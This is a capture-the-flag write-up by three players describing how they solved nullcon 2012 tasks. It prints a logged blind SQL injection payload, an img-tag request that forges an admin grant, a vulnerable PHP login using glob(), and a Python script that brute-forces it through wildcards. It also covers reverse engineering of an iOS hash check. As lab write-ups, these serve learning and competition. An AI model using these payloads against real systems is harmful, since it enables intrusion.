(Collaborative post by Mateusz “j00ru” Jurczyk, Gynvael Coldwind and Adam Iwaniuk)
Friday, the 7th of September 2012 we were supposed to play the securitytraps.no-ip.org CTF. Unfortunately, the competition was postponed for a later date at the last moment, due to some significant technical problems. Next day evening we accidentally discovered another CTF taking place – the nullcon 2012 CTF, which sadly had already started one day earlier. Nonetheless, there were still 24 hours until the end, so we decided to give it a shot. TL;DR: We ended up 3rd (Team 41414141).
Below we describe a few of the tasks in more detail, plus briefly note what was the idea behind the solution to the other challenges we managed to solve.
Task Log 3 for 500 points
(by j00ru//vx)
The challenge consisted of a single access.log file from a vulnerable server, which turned out to contain HTTP query logs from a Blind SQL Injection vulnerability being actively exploited using a well-known automation tool – sqlmap. After a cursory investigation, I have found that the script had dumped the overall mysql structure by listing all database names and their corresponding table names using queries similar to the following:
192.168.1.8 - - [23/Mar/2012:08:12:34 -0400] "GET /scanners/sqli.php?name=anant%27%20AND%20ORD%28MID%28%28SELECT%20DISTINCT%28IFNULL%28CAST%28schema_name%20AS%20CHAR%2810000%29%29%2C%20CHAR%2832%29%29%29%20FROM%20information_schema.SCHEMATA%20LIMIT%200%2C%201%29%2C%203%2C%201%29%29%20%3E%2096%20AND%20%27KIDOw%27=%27KIDOw HTTP/1.1" 200 45 "-" "sqlmap/0.7rc3 (http://sqlmap.sourceforge.net)"
I started with un-escaping the lines in order to obtain a human-readable form of those:
192.168.1.8 - - [23/Mar/2012:08:12:33 -0400] "GET /scanners/sqli.php?name=anant' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)), CHAR(32))) FROM information_schema.SCHEMATA LIMIT 0, 1), 1, 1)) < 112 AND 'KIDOw'='KIDOw HTTP/1.1" 200 - "-" "sqlmap/0.7rc3 (http://sqlmap.sourceforge.net)"
As clearly visible now, the script had performed a binary search over each character of each database/table name. It was relatively easy to write the following short Python script that would fetch each line of logs, shrink the range of potentially valid characters and output it once the final byte has been determined:
import re import sys r = [0] + range(0x20, 0x7f) count = 1 for line in sys.stdin: match = re.match(".* > ([0-9]+) .* 200 ([^ ]+).*", line) if match != None: if match.group(2) == "45": R = filter(lambda x: x > int(match.group(1)), r) else: R = filter(lambda x: x <= int(match.group(1)), r) if len(R) == 0: sys.stdout.write("[") for c in r: sys.stdout.write(chr(c)) sys.stdout.write(",") sys.stdout.write("]") if match.group(2) == "45": r = filter(lambda x: x > int(match.group(1)), [0] + range(0x20, 0x7f)) else: r = filter(lambda x: x <= int(match.group(1)), [0] + range(0x20, 0x7f)) elif len(R) == 1: sys.stdout.write(chr(R[0])) r = [0] + range(0x20, 0x7f) else: r = R count += 1
Running the above script outputted a full dump of the information previously acquired by sqlmap:
11 information_schema CTF_HACKIM@nullcon_db dvwa for[u,v,]m mysql owasp10 snort sqli sugarcrm target wordpress 1 AWESOMEtable_withKey 2 guestbook users 30 phpbb_auth_access phpbb_banlist phpbb_categories phpbb_config phpbb_confirm phpbb_disallow phpbb_forum_prune phpbb_forums phpbb_groups phpbb_posts phpbb_posts_text phpbb_privmsgs phpbb_privmsgs_text phpbb_ranks phpbb_search_results phpbb_search_wordlist phpbb_search_wordmatch phpbb_sessions phpbb_sessions_keys phpbb_smilies phpbb_themes phpbb_themes_name phpbb_topics phpbb_topics_watch phpbb_user_group phpbb_users phpbb_vote_desc phpbb_vote_results phpbb_vote_voters phpbb_words 3 accounts blogs_table hitlog 22 acid_ag acid_ag_alert acid_event acid_ip_cache base_roles base_users data detail encoding event icmphdr iphdr opt reference reference_system schema sensor sig_class sig_reference signature tcphdr udphdr 1 Customers 98 accounts accounts_audit accounts_bugs accounts_cases accounts_contacts accounts_opportunities acl_actions acl_roles acl_roles_actions acl_roles_users address_book bugs bugs_audit calls calls_contacts calls_leads calls_users campaign_log campaign_trkrs campaigns campaigns_audit cases cases_audit cases_bugs config contacts contacts_audit contacts_bugs contacts_cases contacts_users currencies custom_fields document_revisions documents email_addr_bean_rel email_addresses email_cache email_marketing email_marketing_prospect_lists email_templates emailman emails emails_beans emails_email_addr_rel emails_t[s,t,u,v,w,x,y,z,{,|,},~,]ex[w,x,]t fields_me[a,b,c,d,e,f,]t[s,t,u,v,w,x,y,z,{,|,},~,]_data folders folders_rel folders_subscriptions import_maps inbound_email inbound_email_autoreply inbound_email_cache_ts leads leads_audit linked_documents meetings meetings_contacts meetings_leads meetings_users notes opportunities opportunities_audit opportunities_contacts outbound_email project project_task project_task_audit projects_accounts projects_bugs projects_cases projects_contacts projects_opportunities projects_products prospect_list_campaigns prospect_lists prospect_lists_prospects prospects relationships releases roles roles_modules roles_users saved_search schedulers schedulers_times sugarfeed tasks tracker upgrade_history user_preferences users users_feeds users_last_import users_password_link users_signatures vcals versions 2 picdata users 10 wp_categories wp_comments wp_link2cat wp_links wp_options wp_post2cat wp_postmeta wp_posts wp_usermeta wp_users
At the time of solving the task, the hint on the website (http://ctf.nullcon.net/log3.php) stated what follows:
answer : database_name:table_name:column_name
As the logs only contain the results of database/table name scanning, the above hint really confused us. We’ve been trying to possibly guess the column name by attempting different solutions like CTF_HACKIM@nullcon_db:AWESOMEtable_withKey:Key
and similar; however, none of them worked for us at the time. Unfortunately, it also cost us a lot of time that could’ve been spent on other tasks.
Early morning next day, it turned out that the task was indeed flawed and the correct answer (which of course didn’t work before) was changed to database_name:table_name
, namely CTF_HACKIM@nullcon_db:AWESOMEtable_withKey
in this case. And so the task was completed, +500pts, kthxbye.
Task Programming 4 for 400 points
(by Adam Iwaniuk)
Task:
Find the Auspicious no? Once Mickey Mouse visited China and found that in China, the numbers 6, 8, and 9 are believed to have auspicious meanings because their names sound similar to words that have positive meanings. Numbers having only 6,8 and 9 as digits in their decimal representation are therefore considered Auspicious. For example, 6899, 986 and 999 are Auspicious but 123, 2689 are not. A number n is "Very Auspicious number" such that D(n,6) >= D(n,8) >= D(n,9)l, where D(n,k) represents the number of times the digit k appears in the decimal representation of the number. For example: 6, 689, 8696, 9898666 are "Very Auspicious Numbers" "A Very Very Auspicious number" is a number such that all its prefixes are "Very Auspicious numbers" Now Mickey Mouse wants to find how many exactly 31337 digit distinct "Very Very Auspicious numbers" are there. Please help him find the answer. Since the answer may be very large, give the answer modulus 100000000000007.
If we compute results for numbers with number of digits < 7, we get:
1: 1 2: 2 3: 4 4: 9 5: 21 6: 51
Using encyclopedia of integer sequences, we can find this sequence: http://oeis.org/A001006. Using this interpretation:
Also number of Motzkin n-paths: paths from (0,0) to (n,0) in an n X n grid using only steps U = (1,1), F = (1,0) and D = (1,-1). – David Callan, Jul 15 2004
And the following relation:
(a + b) mod x == ((a mod x) + (b mod x)) mod x
we could implement an algorithm with time complexity O(n2) and memory complexity O(n).
long long a[2][40000]; int main() { int n=31337; int i,j,d,e; a[0][0]=1; for (i=1;i<=n;i++) { for (j=0;j<n;j++) { d=i%2; e=d^1; a[d][j]=0; a[d][j]+=a[e][j]; if (j>0) a[d][j]+=a[e][j-1]; if (j<n) a[d][j]+=a[e][j+1]; a[d][j] = a[d][j] % 100000000000007; } printf("%d: %lld\n",i,a[i%2][0]); }
+400pts.
Task Web 4 for 400 points
(by Adam Iwaniuk)
(Note by Gynvael: this task disappeared sometime during the CTF. Adam solved it before it was taken offline.)
After going through the registration and logging in, we could see that the admin could grant administrative privileges to someone by using the following URL:
/web4/set_admin.php?user=XXXXX&Set=Set
We were also provided a contact pane, through which messages could be send to the admin user. If the code displaying incoming messages would lack proper HTML escaping, then the following HTML tag:
<img src=/web4/set_admin.php?user=XXXXX&Set=Set>
would automatically grant us admin privileges as soon as the admin would read message. This turned out to be the correct solution, +400 pts earned.
Task Web 5 for 500 points
(by gynvael.coldwind.vx)
The website consisted solely of a login form which would post user/password credentials as GET parameters to the login.php script, i.e.:
http://ctf.nullcon.net/web5/login.php?login=asdf&password=adsf&submit=Submit
The following additional information was provided to ease in solving the task:
The most Awesome thing is : Developers are provided clear instruction to never keep a non php extension copy of source code on production server.
The hint made it quite clear that one of the .php files must have had a copy with a .phps, .txt, .bak, or a similar extension. This turned out to be the case for login.php – a login.phps file was present and contained the following code:
<?php error_reporting(1); if (isset($_GET["login"]) || isset($_GET["password"])) { $dir = glob($_GET["login"] . "_" . $_GET["password"]); if (!empty($dir)) { if ($dir[0] == $_GET["login"] . "_" . $_GET["password"]) { echo "Test Passed"; header("Location: ".$dir[0]."/test.txt"); } else { echo "Hacking Attempt Detected"; } } else { echo "Dir not found"; } } ?>
The above basically boils down to two simple steps: the user and password are concatenated and a directory with the result name is looked up. If it is found, its name is double-checked, and if it matches, one gets redirected to a file called text.txt within that directory.
Now, even if you’re not familiar with PHP, you are probably asking yourself this question: “Why would you double check the name of the directory?”. Well, the answer is quite obvious – the directory listing function might return another directory name in some cases, for example… once a wildcard is in play. And yes, this is the case here – the glob() function supports wildcards, so the scenario becomes similar to blind sqli exploitation – you have a logical condition check and two different outputs if the condition is evaluated as true (i.e. a directory matching a given pattern exists; in such case the “Hacking Attempt Detected” message is shown) or false (i.e. no directory matching the pattern is found; the message is “Dir not found”).
Now, there are two ways to continue with this attack: one is to use a “brute force” approach where you start with pattern a*_*, and continue through b*_*, c*_*, and so on, switching to Xa*_* when you find the good letter (denoted as X) on the proper position. For a N letter user+pass this would take from N queries (e.g. “aaaa_aaaa”) to N*26 queries (e.g. “zzzz_zzzz”). On the other hand, since glob() supports regex-like character ranges (e.g. [a-h]), you could go with a bisection, just like in blind sqli. This would always take N*5 queries to find the user+path.
In the end, I went for the “brute force” approach, since it was way easier to develop and didn’t otherwise make much of a difference.
The semi-finished semi-automatic code I used (I ran it two times with slight modifications; once to get the user and once to get the password):
import httplib, time def get(l, p): conn = httplib.HTTPConnection("ctf.nullcon.net") conn.request("GET", "/web5/login.php?login=%s&password=%s" % (l,p)) r = conn.getresponse() data1 = r.read() print l,p,data1 conn.close() return data1.strip() login = "" password = "" while True: found = False for l_test in "abcdefghijklmnopqrstuvwxyz": time.sleep(0.25) r = get("abba", "%s%s*" % (login, l_test)).find("Hacking Attempt Detected") if r != -1: login += l_test print login found = True break if found == False: print "Final L: %s" % login break
The discovered user and password turned out to be “abba dabbajabba”, a string that luckily included a lot of letters from the beginning of the alphabet, giving the brute force an extra boost.
Finally, the contents of the http://ctf.nullcon.net/web5/abba_dabbajabba/test.txt file was:
flag is D!28|_|5732!550/\/\|_|(|-|f|_||\|
Task done, +500 pts.
Task (initial) Reverse Me 5 for 500 0 points
(by gynvael.coldwind.vx)
This is a somewhat sad story of how we correctly solved a 500 pts task and got 0 pts for it.
The task was to download an executable file and reverse engineer it in order to get the flag. The file turned out to be a Mach-O executable for ARM/iOS, so not really a platform I’m familiar with or even have one on my disposal (so no way to execute/test/debug the app). However, the main function wasn’t long, so I decided to give it a shot.
The app worked like this: it prompted for a key (string), run a hashing function on it and compared the hash to the one stored inside of the app. If it matched, it displayed the following message:
LDR R3, =(aPerfectThatsYo - 0x2438) ADD R3, PC, R3 ; "\n[+] Perfect! Thats your key. :)" MOV R0, R3 ; char * BL _puts
The internally stored hash was encoded as a floating point number:
FLDD D7, =2.8592026e8 ; 285920260
The hash was calculated by running a loop with eight iterations, successively taking the next character from the string and incorporating it into the calculated hash. The loop interior looked like this:
FLDD D6, [SP,#0x124+hash] FLDD D7, =7.0 FMULD D6, D6, D7 LDR R3, [SP,#0x124+counter] ADD R2, SP, #0x124+key ADD R3, R2, R3 LDRB R3, [R3,#-0x120] SXTB R2, R3 MOV R3, R2 MOV R3, R3,LSL#2 ADD R3, R3, R2 FMSR S11, R3 FSITOD D7, S11 FADDD D6, D6, D7 FLDD D7, =3.0 FADDD D7, D6, D7 FSTD D7, [SP,#0x124+hash] LDR R3, [SP,#0x124+counter] ADD R3, R3, #1 STR R3, [SP,#0x124+counter]
Please note that while the code performed floating point calculations, it actually only used full-integer values (only zeroes after the comma). After translating it to C and switching to integers, I ended up with the following, final form of the hashing loop:
unsigned int hash = 0; for(int i = 0; i < 8; i++) hash = hash * 7 + (5 * key[i] + 3);
Visibly, it was an extremely simple multiply+add hash computation. An important observation here was that while key[i] was a single signed char (ranged from -128 to 127), it was only multiplied by 5 – implying two things:
- This hash is not reversible to a single preimage, and so…
- There is more than one correct key. Probably quite a lot of them.
I put the hash procedure into a brute force for 8 characters and started receiving results soon after that:
9GAMXXZT res: 285920260 9GAMXYST res: 285920260 9GAMXYTM res: 285920260 ... 9J10442F res: 285920260 9J104448 res: 285920260 9J104451 res: 285920260
I stopped the brute force after getting ~8k valid hashes, picked a random one, entered it on the CTF site, and…. “Incorrect Answer”.
Being sure that I had made a mistake (after all it was late night, I was tired) I went through the code again. And again. After the fifth time I was sure I had everything right, so I contacted the CTF staff. Unfortunately, the author of the task was unreachable at that time, but I was told that there was one single good answer expected by the web interface. Next day, when the author of the task could be finally reached, he confirmed that my collisions were correct and that it was unexpected for so many collisions to exist, so the task must have been flawed. At that point, the task was taken down and was supposed to be fixed.
About 4 hours before the CTF deadline, a “fixed” task was put back online, which turned out to be a completely new app (same platform, totally new app) with a much longer hashing routine.
I’m not happy with how this issue was solved by the staff – I don’t think this was the correct way to do it. There were at least two better ways to solve it:
- OK variant: Slightly modify the hashing algorithm to produce less collisions or no collisions at all (even if that would mean the hash is reversible).
- Best variant: Make the web interface validate the hash instead of expecting one single answer. Or if (like in case of nullcon) the web framework supports only one-answer-per-task, make a 10-line PHP code on some random server that checks the hash and gives out the one-desired-answer aka the flag.
After all, the objective was to find a key that passes the client-side validation, and the flag was just a way to prove you got it. Therefore, changing the entire task four hours before the deadline because of a rigid validation mechanism, when one already put a lot of time to correctly solve the task, is not the proper way to go.
In the end, I decided to focus on other tasks and leave the new-reverse-me-5 for later, if there would be any time left (and there wasn’t). +0pts.
Rest of the tasks as one-liners
Trivia: (random questions, IT related)
- Solved by using Google. First result or so.
- MS05-039 exploit used in “Reboot” movie, found on Google page 1.
- Found answer on Wikipedia.
- “poem” refers to SONET aka Synchronous Optical Networking, rest was found on Google.
- Reference to a Tron character, found on Google.
Web:
- base64 dec → serialized php variable change to nulladmin → base64 enc → send form.
- SQL injection via SOAP.
- (not solved)
- (described above)
- (described above)
Crypto:
- Morse code + rot13. Note: there was a space between each dot/dash and two spaces between words – they were not visible via rendered HTML view, only in the source.
- (not solved)
- http://www.borderschess.org/Pyramid%20Cipher.htm
- (not solved)
- (not solved)
Programming:
- “count the no of friday 13th in current century” – solved by a short python script using datetime. Got a result off-by-one for some reason, still close enough.
- Used a quick-and-dirty python script to directly calculate the value from definition.
- Rot with FIBONACCI incremental SERIES. Pen-and-paper method to figure it out :)
- (described above)
- (not solved). We believe this task was broken – it was RSA and n was 1024-bit long (so sizeof(p)+sizeof(q)=1024-bit). We tried this a couple of times from a couple of angles, with no results. The CTF staff claimed that both p and q were 256-bit long only (?). I’m quite interested to see the math in which multiplying two 256-bit numbers gives a 1024-bit number.
Reverse me:
- Android app. Used dex2jar and JAD to decompile. Password was easily spotted in one of the decompiled-source files.
- A compiled AutoIt script. Decompiled it, extracted the .com file and the base64 from it.
- Unpacked the executable using a “comunp1f” utility and trivially reverse-engineered after that.
- Reverse-engineered the file using IDA and extracted correct key from GDB.
- (not solved the new version; initial version described above)
Forensics:
- Non-referenced /DCTDecode stream using a PDF structure dumper found in Google.
- (not solved)
- A HTML file originating from the ctf.nullcon.net domain found in Mozilla cache in the provided logs.
- .config/storeme file being an lzma archive → base64 → NTFS partition image with PNG hinting about ADS and the flag in ADS.
- ARJ → vmdk flat disk → some GNU hurd or sth partition → KGB archiver → JPG with stegano and screenshot of the right software.
Log Analysis:
- A PDF file in USB packets.
- Base64 data hidden in ICMP pings, being a presentation file with the flag (zip+xml technically).
- (described above)
Summary
At the end, we were quite happy with the CTF and our performance. We were able to grab the 3rd place despite starting one day after the original beginning, it was really great to work together, and we learned some interesting things during the CTF. Nonetheless, we must note that we weren’t too content about the tasks not being well tested. We understand that one or two tasks might not work as intended – it happens. But four out of seven 500pts tasks being flawed (the described above + forensics 5 was re-uploaded on the last day)? Come on! Surely you can do better than that!
Still, looking forward to nullcon CTF 2013 :)